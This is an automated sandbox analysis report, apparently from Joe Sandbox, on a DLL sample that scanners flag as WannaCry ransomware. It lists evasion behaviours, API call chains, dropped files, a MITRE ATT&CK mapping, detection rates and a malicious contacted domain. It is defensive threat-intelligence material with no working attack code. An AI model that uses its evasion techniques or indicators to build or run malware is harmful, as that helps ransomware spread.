Source: C:\Windows\mssecsvr.exe TID: 1004	Thread sleep time: -34000s >= -30000s	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 1252	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 4744	Thread sleep count: 704 > 30	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 4744	Thread sleep time: -70400s >= -30000s	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 2928	Thread sleep count: 86 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 11988	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 16412	Thread sleep time: -90000s >= -30000s	Jump to behavior

Source: C:\Windows\tasksche.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Source: C:\Windows\tasksche.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

Source: C:\Windows\tasksche.exe

Dropped PE file which has not been started: C:\Windows\eee.exe

Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Window / User API: threadDelayed 704

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: 9_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		9_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		9_2_0040DE5E

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: C:\Windows\tasksche.exe

API call chain: ExitProcess graph end node

Source: tasksche.exe, 00000009.00000003.869157733.000000000069C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 00000009.00000003.823002322.00000000051E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}9#
Source: tasksche.exe, 00000009.00000003.869157733.000000000069C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&Z
Source: tasksche.exe, 00000009.00000003.656070929.00000000051F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 00000009.00000003.869157733.000000000069C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 00000009.00000003.869157733.000000000069C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}f2-00a0c91efb8b}\\?\STORAG
Source: tasksche.exe, 00000009.00000003.846575104.00000000051E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}r=@
Source: tasksche.exe, 00000009.00000003.564432559.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}k
Source: svchost.exe, 0000001B.00000002.762368657.000002208C083000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: tasksche.exe, 00000009.00000003.433999003.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hr#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 00000009.00000003.656070929.00000000051F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}P
Source: svchost.exe, 0000000E.00000002.977989847.0000024FA8E02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 0000001B.00000002.762567875.000002208C0EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: tasksche.exe, 00000009.00000003.497864207.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 00000009.00000003.450348020.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p]kP]mSTORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 00000009.00000003.869581173.00000000051D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b
Source: tasksche.exe, 00000009.00000003.489409658.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "kSTORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: mssecsvr.exe, 00000004.00000002.387177943.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.978287978.0000024FA8E40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\tasksche.exe

Code function: 9_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

9_2_0041E6DE

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_0040CEB6

Source: C:\Windows\tasksche.exe	Code function: 9_2_004234CE SetUnhandledExceptionFilter,	9_2_004234CE
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0041E6DE
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041FFDB _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0041FFDB
Source: C:\Windows\tasksche.exe	Code function: 9_2_00423F89 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	9_2_00423F89

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",#1

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		9_2_0040D155
Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoA,		9_2_00425EF0

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040CA52 cpuid

9_2_0040CA52

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040FEF0 OleInitialize,_memset,GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,LoadBitmapW,DialogBoxParamW,DeleteObject,DeleteObject,DeleteObject,CloseHandle,Sleep,OleUninitialize,

9_2_0040FEF0

Source: C:\Windows\tasksche.exe

Code function: 9_2_00409C06 GetVersionExW,

9_2_00409C06

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	4 Windows Service	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	4 Windows Service	2 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Service Execution	Logon Script (Windows)	11 Process Injection	2 Software Packing	Security Account Manager	43 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 File Deletion	NTDS	1 Network Share Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	12 Masquerading	LSA Secrets	121 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	14 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Rundll32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
goN6vVlV2F.dll	87%	Virustotal		Browse
goN6vVlV2F.dll	77%	Metadefender		Browse
goN6vVlV2F.dll	90%	ReversingLabs	Win32.Ransomware.WannaCry
goN6vVlV2F.dll	100%	Avira	TR/AD.DPulsarShellcode.hgwjd
goN6vVlV2F.dll	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\tasksche.exe	100%	Avira	TR/Wanna.rxdai
C:\Windows\mssecsvr.exe	100%	Avira	TR/Wanna.rxdai
C:\Windows\eee.exe	100%	Joe Sandbox ML
C:\Windows\mssecsvr.exe	100%	Joe Sandbox ML
C:\Windows\eee.exe	6%	Metadefender		Browse
C:\Windows\eee.exe	12%	ReversingLabs
C:\Windows\mssecsvr.exe	86%	Metadefender		Browse
C:\Windows\mssecsvr.exe	98%	ReversingLabs	Win32.Ransomware.WannaCry

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/Wanna.rxdai	Download File
6.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.rxdai	Download File
4.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/Wanna.rxdai	Download File
6.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/Wanna.rxdai	Download File
4.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.rxdai	Download File
6.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.rxdai	Download File
7.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.rxdai	Download File
4.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.rxdai	Download File
4.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/Wanna.rxdai	Download File
7.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.urvkf	Download File
4.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/Wanna.rxdai	Download File
6.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/Wanna.rxdai	Download File

Domains

Source	Detection	Scanner	Label	Link
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/k	100%	Avira URL Cloud	malware
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	100%	URL Reputation	malware
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	100%	URL Reputation	malware
https://www.pango.co/privacy	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/x	100%	Avira URL Cloud	malware
http://help.disneyplus.com.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	unknown	unknown	true	10%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 0000001B.00000003.728521628.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 0000001B.00000003.728521628.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/k	mssecsvr.exe, 00000007.00000003.386463746.0000000000B05000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	mssecsvr.exe.2.dr	true	URL Reputation: malware	unknown
https://www.hotspotshield.com/terms/	svchost.exe, 0000001B.00000003.723059102.000002208D002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723097648.000002208D003000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723584349.000002208CBB0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723358311.000002208CB9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723838506.000002208D019000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723799270.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	mssecsvr.exe, 00000004.00000002.387177943.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000004.00000002.387199870.0000000000BF3000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000006.00000003.385262530.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.pango.co/privacy	svchost.exe, 0000001B.00000003.723059102.000002208D002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723097648.000002208D003000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723584349.000002208CBB0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723358311.000002208CB9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723838506.000002208D019000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723799270.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://disneyplus.com/legal.	svchost.exe, 0000001B.00000003.728521628.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 0000001B.00000002.762567875.000002208C0EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
